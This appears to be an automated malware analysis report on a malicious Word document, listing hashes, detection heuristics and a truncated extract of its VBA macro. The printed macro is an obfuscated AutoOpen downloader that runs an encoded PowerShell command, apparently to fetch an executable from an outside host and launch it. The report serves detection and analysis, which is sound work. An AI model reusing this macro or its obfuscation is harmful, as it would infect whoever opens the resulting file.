Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 344085f3fcaacce9…

MALICIOUS

Office (OLE)

87.0 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: b447b3a60a3526318a81f5a6212e5f8f SHA-1: 5904ed3d9d25786a7bc776bf38c78f5a22d2f339 SHA-256: 344085f3fcaacce9d2d0538cdd694899e3e89db7d557b6796e65b52010336d55
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a VBA macro with an AutoOpen subroutine that executes a heavily obfuscated PowerShell command. This command is designed to download and execute a second-stage payload, indicated by the use of `cmd.exe` and `powershell.exe`. The obfuscation and the `Shell()` call are strong indicators of malicious intent.

Heuristics 7

  • ClamAV: Doc.Malware.00536d-6736112-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.00536d-6736112-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8671 bytes
SHA-256: 5f174c2d921763b059dd9153a6850d7c911d122130def5eed93fea7bc3747fd1
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const FoHeVOzaLuLUlqraogdumEbaN = 0
Sub AutoOpen()
On Error Resume Next
CeqEgCSAWYTESKYpOLynuquraDyM = "" + Format(ChrW(99)) + "md.exe /" + Format(ChrW(99)) + " P^O^W^e^r^s^" + Format(ChrW(2 + (35 * 2))) + "^e^l^L^.^E^X^e^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^" + Format(ChrW(2 + (35 * 2))) + "^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^" + Format(ChrW(99)) + "^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^" + Format(ChrW(2 + (35 * 2))) + "^Q^A^" + Format(ChrW(99)) + "^A^A^6^A^C^8^A^L^w^B^m^A^" + Format(ChrW(2 + (35 * 2))) + "^I^A^d^Q^B^t^A^G^k^A^d^A^B^p^A^G^M^A^d^Q^B^y^A^C^4^A^Y^w^B^v^A^G^0^A^L^w^B^S^A^F^U^A^S^Q^A^v^A^G^w^A^Z^Q^B^2^A^G^8^A^b^g^B^k^A^C^4^A^" + Format(ChrW(99)) + "^A^B^o^A^" + Format(ChrW(2 + (35 * 2))) + "^A"
Dim XOxyDAwAnaZaSyPAdYvOGiVewovuiUz

XOxyDAwAnaZaSyPAdYvOGiVewovuiUz = IsNull(Choose(9, "QASUZRULAaOzoao", "XOxyDAwAnaZaSyPAdYvOGiVewovuiUz", "QASUZRULAaOzoaoXOxyDAwAnaZaSyPAdYvOGiVewovuiUz"))
IsError CVErr(2166)

If 2166 > LenB(CStr(11 ^ 4)) Then
   Call IsError(CVErr(Val(CStr(QASUZRULAaOzoao))))
End If

Dim RoLoRONAfoCElOPEGusUpUKaaeTraGItISizAru

RoLoRONAfoCElOPEGusUpUKaaeTraGItISizAru = IsNull(Choose(3, "mIDEriwabytOFipYncEh", "RoLoRONAfoCElOPEGusUpUKaaeTraGItISizAru", "mIDEriwabytOFipYncEhRoLoRONAfoCElOPEGusUpUKaaeTraGItISizAru"))
IsError CVErr(3374)

If 3374 > LenB(CStr(12 ^ 4)) Then
   Call IsError(CVErr(Val(CStr(mIDEriwabytOFipYncEh))))
End If
GIqEFAGociVuaOagePiRiViMuWO = "^A^P^w^B^s^A^D^0^A^Z^g^B^l^A^" + Format(ChrW(2 + (35 * 2))) + "^" + Format(ChrW(99)) + "^A^a^w^A^1^A^C^4^A^e^A^B^h^A^" + Format(ChrW(2 + (35 * 2))) + "^A^A^I^g^A^s^A^C^A^A^J^A^B^l^A^G^4^A^d^g^A^6^A^E^E^A^U^A^B^Q^A^E^Q^A^Q^Q^B^U^A^E^E^A^I^A^A^r^A^C^A^A^J^w^B^" + Format(ChrW(99)) + "^A^D^M^A^Z^A^A^z^A^D^M^A^M^w^A^2^A^D^k^A^M^A^A^u^A^G^U^A^e^A^B^l^A^C^" + Format(ChrW(99)) + "^A^K^Q^A^7^A^C^A^A^U^w^B^0^A^G^E^A^" + Format(ChrW(99)) + "^g^B^0^A^C^0^A^U^A^B^y^A^G^8^A^Y^w^B^l^A^" + Format(ChrW(2 + (35 * 2))) + "^M^A^" + Format(ChrW(99)) + "^w^A^g^A^C^Q^A^Z^Q^B^u^A^" + Format(ChrW(2 + (35 * 2))) + "^Y^A^O^g^B^B^A^F^A^A^U^A^B^E^A^E^E^A^V^A^B^B^A^C^" + Format(ChrW(99)) + "^A^X^A^A^z^A^G^Q^A^M^w^A^z^A^D^M^A^N^g^A^5^A^D^A^A^L^g^B^l^A^" + Format(ChrW(2 + (35 * 2))) + "^g^A^Z^Q^A^n^A^D^s^A^I^A^A^g^A^E"
Dim YhoTaxyXeQowArurusUVaguTedonOcyRUiIWI

YhoTaxyXeQowArurusUVaguTedonOcyRUiIWI = IsNull(Choose(3, "ceQUtiVFiePAJo", "YhoTaxyXeQowArurusUVaguTedonOcyRUiIWI", "ceQUtiVFiePAJoYhoTaxyXeQowArurusUVaguTedonOcyRUiIWI"))
IsError CVErr(1008)

If 1008 > LenB(CStr(12 ^ 4)) Then
   Call IsError(CVErr(Val(CStr(ceQUtiVFiePAJo))))
End If

Dim CuseSyPuWUzEFuJuLEXeCAjKOJzOSiZOaYmalIsyHE

CuseSyPuWUzEFuJuLEXeCAjKOJzOSiZOaYmalIsyHE = IsNull(Choose(10, "xIqRynYjEHELuiifOn", "CuseSyPuWUzEFuJuLEXeCAjKOJzOSiZOaYmalIsyHE", "xIqRynYjEHELuiifOnCuseSyPuWUzEFuJuLEXeCAjKOJzOSiZOaYmalIsyHE"))
IsError CVErr(4180)

If 4180 > LenB(CStr(11 ^ 4)) Then
   Call IsError(CVErr(Val(CStr(xIqRynYjEHELuiifOn))))
End If
Dim ViVuMORixOgYVneNawiVUpIdebeMESAW

ViVuMORixOgYVneNawiVUpIdebeMESAW = IsNull(Choose(10, "jUvAHdoSoNz", "ViVuMORixOgYVneNawiVUpIdebeMESAW", "jUvAHdoSoNzViVuMORixOgYVneNawiVUpIdebeMESAW"))
IsError CVErr(5175)

If 5175 > LenB(CStr(12 ^ 4)) Then
   Call IsError(CVErr(Val(CStr(jUvAHdoSoNz))))
End If

Dim TaMONuNEZOkPydusAFUdafyLYjyjiKb

TaMONuNEZOkPydusAFUdafyLYjyjiKb = IsNull(Choose(9, "VImoFOJzewiSAXO", "TaMONuNEZOkPydusAFUdafyLYjyjiKb", "VImoFOJzewiSAXOTaMONuNEZOkPydusAFUdafyLYjyjiKb"))
IsError CVErr(7749)

If 7749 > LenB(CStr(13 ^ 4)) Then
   Call IsError(CVErr(Val(CStr(VImoFOJzewiSAXO))))
End If
Dim aQIVOnoacxeKixubeJiLYGEsubEiYDysIy

aQIVOnoacxeKixubeJiLYGEsubEiYDysIy = IsNull(Choos
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.